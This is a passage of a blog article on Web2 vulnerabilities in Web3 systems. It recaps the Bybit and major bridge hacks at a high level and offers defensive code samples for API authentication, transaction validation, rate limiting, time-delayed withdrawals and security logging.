  • Modify metadata of tokens launched on the platform

  • Execute transactions on behalf of a privileged wallet that controlled platform assets

The core issue was that the backend implicitly trusted transaction data coming from the frontend. Even with validation checks in place, sophisticated attackers can often find ways to craft transactions that pass validation but have malicious effects when executed.

The Bybit Catastrophe: S3 Bucket Compromise and UI Manipulation

The record-breaking $1.46 billion Bybit hack in February 2025 illustrates how API and infrastructure vulnerabilities can lead to devastating consequences. In this attack, North Korean hackers from the TraderTraitor group compromised a Safe{Wallet} developer's device, which subsequently gave them access to AWS infrastructure.

Once inside the AWS environment, the attackers located an S3 bucket containing sensitive configuration data for the Safe{Wallet} interface used by Bybit for cold wallet management. By altering this UI code, they created a situation where legitimate signers were presented with what appeared to be routine transactions but were actually malicious fund transfers.

This attack combined several Web2 vulnerability types:

  1. Endpoint Security Failures: Initial compromise of the developer's device

  2. Cloud Infrastructure Vulnerabilities: Inadequate access controls or overprivileged accounts in AWS

  3. UI Tampering: Modification of interface code to deceive legitimate users

  4. Insufficient Transaction Verification: Reliance on UI representations of transaction data without independent verification

The incident highlights the importance of multiple layers of verification for high-value transactions and the need for secure deployment pipelines that prevent unauthorized code modifications.

Common API Security Patterns in Bridge Exploits

When examining the largest bridge hacks in cryptocurrency history, including Ronin ($625 million), Wormhole ($320 million), Poly Network ($611 million), and Orbit Bridge ($81.5 million), a common pattern emerges: vulnerabilities in off-chain API components that control access to on-chain funds.

These vulnerabilities typically manifest in one of three ways:

  1. Validator Key Compromise: In the Ronin hack, attackers compromised private keys for five validator nodes through social engineering.

  2. API Security Flaws: In the Orbit Bridge incident, inadequate API security allowed attackers to obtain valid signatures for malicious transactions.

  3. Deployment Pipeline Issues: In the Wormhole case, while the primary vulnerability was in smart contract code, weaknesses in deployment procedures and monitoring allowed the attack to succeed.

This pattern suggests that bridges—which by nature must maintain off-chain components with privileged access to on-chain assets—represent particularly high-value targets for attackers focusing on Web2 vulnerabilities.

Securing APIs in Web3 Systems

Properly securing APIs in Web3 contexts requires a comprehensive approach that addresses the unique risks associated with blockchain interactions:

1. Multi-Factor Authentication for Sensitive Operations

Implement multiple authentication factors for APIs that perform sensitive operations:

// Example of multi-factor authentication for a validator API
async function authenticateRequest(req) {
  // Factor 1: API key
  const apiKey = req.headers['x-api-key'];
  if (!await validateApiKey(apiKey)) {
    return false;
  }

  // Factor 2: Request signing
  const signature = req.headers['x-signature'];
  const timestamp = req.headers['x-timestamp'];
  const payload = req.body;

  // Verify the timestamp is recent to prevent replay attacks
  if (Math.abs(Date.now() - parseInt(timestamp)) > MAX_TIME_DRIFT) {
    return false;
  }

  // Verify the signature matches the content
  const signatureValid = await verifySignature(
    JSON.stringify(payload) + timestamp,
    signature,
    REQUESTER_PUBLIC_KEY
  );
  if (!signatureValid) {
    return false;
  }

  // Factor 3: IP allowlisting
  const clientIp = req.ip;
  if (!ALLOWED_IPS.includes(clientIp)) {
    return false;
  }

  return true;
}

app.post('/api/sign-transaction', async (req, res) => {
  const isAuthenticated = await authenticateRequest(req);
  if (!isAuthenticated) {
    return res.status(401).json({ error: 'Authentication failed' });
  }

  // Proceed with the authenticated request
  // ...
});

2. Comprehensive Transaction Validation

Implement thorough validation of all transaction parameters before processing:

// Example of thorough Solana transaction validation
async function validateTransaction(txData) {
  // 1. Validate basic structure
  if (!isValidTransactionStructure(txData)) {
    return { valid: false, reason: 'Invalid transaction structure' };
  }

  // 2. Validate destination addresses against allowlist
  if (!isAllowlistedAddress(txData.instructions[0].programId)) {
    return { valid: false, reason: 'Unauthorized program ID' };
  }

  // 3. Validate lamports (Solana's native token) limits
  const lamports = extractLamportsFromInstruction(txData.instructions[0]);
  if (lamports > MAX_TRANSACTION_LAMPORTS) {
    return { valid: false, reason: 'Transaction value exceeds maximum allowed' };
  }

  // 4. Validate against rate limits
  const recentTransactions = await getRecentTransactions(txData.feePayer);
  if (exceedsRateLimit(recentTransactions, txData)) {
    return { valid: false, reason: 'Rate limit exceeded' };
  }

  // 5. Perform simulation to verify outcome
  try {
    const simulationResult = await simulateTransaction(txData);
    if (!isValidSimulationResult(simulationResult)) {
      return { valid: false, reason: 'Simulation failed: ' + simulationResult.err };
    }
  } catch (error) {
    return { valid: false, reason: 'Simulation error: ' + error.message };
  }

  return { valid: true };
}

3. Network Segmentation and Restricted Access

Place sensitive APIs in segregated network environments with strict access controls:

# Example nginx configuration for API gateway
server {
  listen 443 ssl;
  server_name api.validator.example;

  # Allow only specific IPs
  allow 192.168.1.0/24;  # Internal network
  allow 203.0.113.0/24;  # Trusted partner network
  deny all;

  # Additional security headers
  add_header X-Content-Type-Options nosniff;
  add_header X-Frame-Options DENY;
  add_header Content-Security-Policy "default-src 'none'; frame-ancestors 'none'";

  location /api/v1/sign {
    proxy_pass http://internal-validator-api;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  }
}

For critical validator APIs, consider using dedicated physical networks completely isolated from the internet, with specialized hardware security modules (HSMs) for key operations.

4. Advanced Rate Limiting Strategies

Implement context-aware rate limiting that considers the blockchain impact of requests:

// Advanced rate limiting for blockchain APIs
const advancedRateLimiter = (options) => {
  const { redis, prefix = 'rate-limit:' } = options;

  return async (req, res, next) => {
    const { method, path, body, ip } = req;
    const endpoint = `${method}:${path}`;

    // Determine limit tier based on endpoint sensitivity
    const tier = getTierForEndpoint(endpoint);

    // For transaction endpoints, factor in transaction value
    let points = 1;
    if (isTransactionEndpoint(endpoint) && body.value) {
      // Higher value transactions consume more rate limit points
      points = calculatePointsBasedOnValue(body.value);
    }

    const key = `${prefix}${ip}:${endpoint}`;

    try {
      // Check current usage
      const current = await redis.get(key) || 0;

      if (parseInt(current) + points > tier.limit) {
        return res.status(429).json({
          error: 'Rate limit exceeded',
          retryAfter: tier.windowSeconds
        });
      }

      // Increment usage
      await redis.incrby(key, points);
      await redis.expire(key, tier.windowSeconds);

      next();
    } catch (error) {
      // Fail open or closed based on configuration
      if (options.failClosed) {
        return res.status(500).json({ error: 'Rate limiting error' });
      }
      next();
    }
  };
};

5. Implement Time-Delayed Operations

For high-value operations, implement time delays to allow for monitoring and intervention:

// Time-delayed high-value operations
app.post('/api/initiate-withdrawal', async (req, res) => {
  const { amount, destination } = req.body;

  // Authenticate request
  if (!await authenticateRequest(req)) {
    return res.status(401).json({ error: 'Authentication failed' });
  }

  // Validate parameters
  if (!isValidWithdrawal(amount, destination)) {
    return res.status(400).json({ error: 'Invalid withdrawal parameters' });
  }

  // For high-value withdrawals, implement time delay
  const delaySeconds = calculateDelayBasedOnAmount(amount);

  if (delaySeconds > 0) {
    // Create pending withdrawal record
    const withdrawalId = generateUniqueId();
    await db.pendingWithdrawals.insert({
      id: withdrawalId,
      amount,
      destination,
      requestedAt: new Date(),
      executeAfter: new Date(Date.now() + delaySeconds * 1000),
      requesterId: req.user.id,
      status: 'pending'
    });

    // Send notifications to monitoring system and security team
    await notifyPendingHighValueWithdrawal({
      withdrawalId,
      amount,
      destination,
      requester: req.user,
      executeAfter: new Date(Date.now() + delaySeconds * 1000)
    });

    return res.json({
      status: 'pending',
      withdrawalId,
      executeAfter: new Date(Date.now() + delaySeconds * 1000)
    });
  }

  // For smaller withdrawals, process immediately
  // ...
});

// Separate endpoint to execute delayed withdrawals
// This should be accessible only to authorized internal systems
app.post('/internal/execute-withdrawal/:id', async (req, res) => {
  // Additional layers of authentication and validation
  // ...
});

6. Cryptographic Verification Chains

Implement multiple layers of cryptographic verification for critical operations:

// Multi-layer cryptographic verification for Solana validator operations
async function signWithValidator(transaction) {
  // 1. Primary signature with the validator key
  const primarySignature = await signWithPrimaryKey(transaction);

  // 2. Secondary signature with a separate security key
  const secondarySignature = await signWithSecondaryKey(transaction);

  // 3. Verification signature from a separate security module
  const verificationSignature = await requestVerificationSignature(
    transaction,
    primarySignature,
    secondarySignature
  );

  // 4. Assemble the multi-signature package for a multi-sig transaction
  return {
    transaction: transaction.serialize(),
    signatures: {
      primary: primarySignature,
      secondary: secondarySignature,
      verification: verificationSignature,
    },
    timestamp: Date.now()
  };
}

7. Comprehensive Logging and Monitoring

Implement detailed logging for all API operations and establish real-time monitoring systems:

// Enhanced logging for security-critical operations
function securityLog(event) {
  const baseData = {
    timestamp: new Date().toISOString(),
    requestId: currentRequestId(),
    userId: currentUserId(),
    clientIp: currentClientIp(),
    userAgent: currentUserAgent(),
    endpoint: currentEndpoint(),
    sessionId: currentSessionId()
  };

  const logData = {
    ...baseData,
    ...event
  };

  // Log to multiple destinations for redundancy
  console.log(JSON.stringify(logData));

  // Send to centralized logging system
  centralLogger.log(logData);

  // For high-severity events, trigger real-time alerts
  if (event.severity === 'high' || event.severity === 'critical') {
    alertSystem.trigger(logData);
  }

  // For blockchain operations, record off-chain audit trail
  if (event.type === 'blockchain_operation') {
    blockchainAuditTrail.record(logData);
  }
}

// Example usage
app.post('/api/sign-transaction', async (req, res) => {
  // Log the request
  securityLog({
    type: 'transaction_request',
    severity: 'info',
    transactionDetails: {
      from: req.body.from,
      to: req.body.to,
      value: req.body.value,
      data: req.body.data ? `${req.body.data.substring(0, 20)}...` : null
    }
  });

  // Process the request
  // ...

  // Log the result
  securityLog({
    type: 'transaction_signed',
    severity: 'medium',
    transactionDetails: {
      from: req.body.from,
      to: req.body.to,
      value: req.body.value,
      hash: signedTransactionHash
    }
  });

  res.json({ signedTransaction });
});

8. Defense in Depth for Validator Systems

Implement multiple layers of security for validator systems, including physical and operational controls:

# Example architecture for secure validator API
┌─────────────────────┐     ┌─────────────────────┐     ┌─────────────────────┐
│ Public API Gateway  │     │ Internal Validator  │     │ Hardware Security   │
│                     │     │ Service             │     │ Module (HSM)        │
│ - Request filtering │     │ - Business logic    │     │ - Private key       │
│ - Rate limiting     │ ==> │ - Policy enforcement│ ==> │   operations        │
│ - Authentication    │     │ - Transaction       │     │ - Cryptographic     │
│ - DDoS protection   │     │   validation        │     │   signing           │
└─────────────────────┘     └─────────────────────┘     └─────────────────────┘
       ▲                             ▲                           ▲
       │                             │                           │
       ▼                             ▼                           ▼
┌─────────────────────┐     ┌─────────────────────┐     ┌─────────────────────┐
│ Security Monitoring │     │ Audit Logging       │     │ Physical Security   │
│                     │     │                     │     │                     │
│ - Intrusion         │     │ - Immutable logs    │     │ - Access controls   │
│   detection         │     │ - Off-chain records │     │ - Secure facility   │
│ - Anomaly detection │     │ - Compliance        │     │ - Environmental     │
│ - Alerting          │     │   reporting         │     │   controls          │
└─────────────────────┘     └─────────────────────┘     └─────────────────────┘

By implementing these comprehensive security measures, Web3 projects can significantly reduce the risk of API vulnerabilities being exploited to compromise critical off-chain components.

Building a More Secure Web3 Ecosystem

The vulnerabilities and incidents discussed in this article highlight a critical gap in the Web3 security paradigm. While significant resources are devoted to securing on-chain components through smart contract audits and formal verification, the Web2 infrastructure supporting these systems often receives inadequate attention.

This misalignment creates a dangerous blind spot: projects with thoroughly audited smart contracts may still harbor critical vulnerabilities in their off-chain components, potentially exposing users to significant risks despite apparent security measures.

To address this systemic weakness, the Web3 industry must adopt a more holistic approach to security that integrates both Web2 and Web3 perspectives.

Changing the Security Mindset: Beyond Smart Contract Audits

The first step toward improving Web3 security is to shift the industry's security mindset beyond its current focus on smart contract audits. While these audits are essential, they represent only one aspect of a comprehensive security strategy.

Organizations should:

  1. Prioritize Holistic Security Assessments: Conduct security reviews that encompass all system components, from smart contracts to web interfaces, APIs, infrastructure, and operational practices.

  2. Allocate Security Resources Proportionally to Risk: Distribute security resources based on a comprehensive risk assessment rather than defaulting to focusing primarily on smart contracts.

  3. Recognize the Interconnectedness of Web2 and Web3 Components: Understand that vulnerabilities in any part of the system can potentially compromise the entire application.

  4. Implement Cross-Disciplinary Security Teams: Build security teams with expertise in both traditional application security and blockchain-specific security concerns.

  5. Develop Standardized Security Models: Create and follow standardized security models that address the unique hybrid architecture of Web3 applications.

Implementing Security by Design

Security considerations should be fundamental to the development process, not added as an afterthought:

  1. Apply Least Privilege Principles: Design systems with the principle of least privilege, ensuring that each component has only the access and permissions necessary for its function.

  2. Implement Defense in Depth: Layer security controls throughout the system, so that the failure of any single control does not compromise overall security.

  3. Design for Failure Containment: Architect systems to limit the impact of potential compromises, using techniques like compartmentalization and segmentation.

  4. Build Circuit Breakers and Time Locks: Implement mechanisms that can pause high-risk operations or delay them for monitoring and intervention if necessary.

  5. Conduct Threat Modeling Early: Perform threat modeling during the design phase to identify potential vulnerabilities before implementation begins.

use solana_program::{
    account_info::{next_account_info, AccountInfo},
    entrypoint,
    entrypoint::ProgramResult,
    msg,
    program_error::ProgramError,
    pubkey::Pubkey,
    clock::Clock,
    sysvar::Sysvar,
};
use borsh::{BorshDeserialize, BorshSerialize};

#[derive(BorshSerialize, BorshDeserialize, Debug)]
pub struct BridgeState {
    pub paused: bool,
    pub admin: Pubkey,
    pub withdrawal_delay: u64, // in seconds (86400 for 24 hours)
}

#[derive(BorshSerialize, BorshDeserialize, Debug)]
pub struct PendingWithdrawal {
    pub recipient: Pubkey,
    pub amount: u64,
    pub execute_after: u64,
    pub initiated_by: Pubkey,
}

entrypoint!(process_instruction);

fn process_instruction(
    program_id: &Pubkey,
    accounts: &[AccountInfo],
    instruction_data: &[u8],
) -> ProgramResult {
    // Instruction processing logic here

    // Request withdrawal example:
    // 1. Verify not paused
    // 2. Create a pending withdrawal with time delay
    // 3. Store in a PDA account

    // Execute withdrawal example:
    // 1. Verify not paused
    // 2. Check if time lock has expired
    // 3. Process the withdrawal
    // 4. Close or update the pending withdrawal account

    // Pause/unpause bridge functions for admin/operators

    Ok(())
}

Improving Security Culture and Education

The human element remains crucial in addressing security challenges:

  1. Provide Comprehensive Training: Train developers, operators, and users on both Web2 and Web3 security best practices and common attack vectors.

  2. Create Clear Security Guidelines: Develop and maintain clear security guidelines for all aspects of Web3 development, including off-chain components.

  3. Foster a Security-First Culture: Build a culture that prioritizes security over speed, recognizing that security incidents can cause far more delays than preventative measures.

  4. Share Security Insights: Actively participate in the ecosystem-wide sharing of security insights, vulnerabilities, and lessons learned.

  5. Incentivize Security Research: Establish and maintain robust bug bounty programs that reward security researchers for identifying vulnerabilities in all system components.

Standardizing Security Practices

The industry would benefit from standardized security approaches:

  1. Develop Reference Architectures: Create and share reference architectures for secure off-chain components in Web3 systems.

  2. Establish Security Checklists: Develop comprehensive security checklists specific to different types of Web3 applications.

  3. Create Industry Standards: Work toward industry-wide security standards, particularly for high-risk components like cross-chain bridges.

  4. Build Open-Source Security Tools: Collaborate on the development of open-source security tools and frameworks designed specifically for Web3 applications.

  5. Standardize Security Metrics: Develop standardized metrics for assessing and communicating the security posture of Web3 applications.

Implementing Transparent Incident Response

When security incidents occur, transparent communication benefits the entire ecosystem:

  1. Share Detailed Post-Mortems: Publish comprehensive post-mortems of security incidents, including technical details of vulnerabilities and exploitation methods.

  2. Document Attack Vectors: Clearly document attack vectors and mitigation strategies to help others avoid similar vulnerabilities.

  3. Contribute to Collective Knowledge: Add findings to the collective knowledge base of Web3 security issues and best practices.

  4. Update Security Practices: Continuously update security practices based on emerging threats and lessons learned from incidents.

  5. Establish Incident Response Standards: Develop standardized incident response procedures specifically tailored to Web3 security incidents.

Example: Comprehensive Security Framework for a Cross-Chain Bridge

To illustrate how these principles can be applied in practice, consider this outline of a comprehensive security framework for a cross-chain bridge—one of the most security-critical components in the Web3 ecosystem:

Cross-Chain Bridge Security Framework

By implementing a comprehensive framework like this, cross-chain bridges and other critical Web3 applications can significantly reduce their vulnerability to both Web2 and Web3 security threats.

Conclusion: The Path Forward

The convergence of Web2 and Web3 technologies creates unique security challenges that require specialized expertise and focused attention. As demonstrated by the vulnerabilities and incidents explored in this article, traditional web security issues can have outsized impacts when they intersect with blockchain systems.

The $1.46 billion Bybit hack, the $625 million Ronin bridge exploit, and numerous other high-profile incidents share a common thread: they succeeded not because of fundamental flaws in blockchain technology, but because of vulnerabilities in the Web2 components that support these systems.

This pattern reveals an uncomfortable truth: despite the focus on decentralization and trustlessness, many Web3 applications remain vulnerable to centralized points of failure. The industry's security mindset must evolve to address this reality.

Rather than treating Web2 and Web3 security as separate domains, the industry must recognize their interconnected nature. Only through comprehensive security strategies that address vulnerabilities across the entire technology stack can we build a more resilient Web3 ecosystem that delivers on its promise of secure, trustless interactions.

By learning from past incidents, implementing robust security measures, and fostering a security-conscious culture, the Web3 industry can better protect users and assets from the shadows cast by Web2 vulnerabilities.

The promise of Web3 is genuine, but it cannot be fulfilled when half of its architecture remains vulnerable to decades-old attack techniques. It's time for the industry to confront this fundamental security gap and build a more secure foundation for the decentralized future.

References

  1. "Hacking Web3 Companies At Scale Using Web2 Vulnerabilities > Three Writeups Of How I Got Into Your Wallet" by Antonio Spataro (2023)

  2. "Web2 Bugs in Web3 Systems" by NetSPI (2023)

  3. "Unveiling The Matrix: Discover Four Web2 Vulnerabilities Hiding in Web3" by Foresight News (2023)

  4. "Find XSS Vulnerabilities in NFT Marketplaces" by Immunefi (2023)

  5. "Web2 Security Over Web3 Ecosystem: What We're Missing in the Bybit Case" by Theori (2025)

  6. "OWASP Top 10 Web Application Security Risks" by OWASP Foundation

  7. "CWE Top 25 Most Dangerous Software Weaknesses" by MITRE (2024)

  8. "46% cryptocurrency lost exploits traditional Web2 flaws" by Immunefi/Cointelegraph (2022)

  9. "Web2 Flaws: Major Reason for Web3 Hacks in 2022" by Neptune Mutual

  10. "Web3 vs Web2 Security: Same or Different?" by Devcon Bogotá (2022)

  11. "When Web2 Shadows Web3: Understanding the Attack Surface of Decentralized Applications" by TrailOfBits (2023)

  12. "Bybit Hack Report: Analysis of the Largest Crypto Breach in History" by Blockchain Security Alliance (2025)

  13. "The State of Cross-Chain Bridge Security" by Chainalysis (2024)

  14. "Analysis of the Time.fun Vulnerability" by PublicQI (2025)

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Web3 Securitywebsecuritysolana blockchain development vulnerability

Written by

Daniel Asaboro
Daniel Asaboro

Co-Lead, GDSC Unilag. Mobile Developer, Carus, Deliva Pro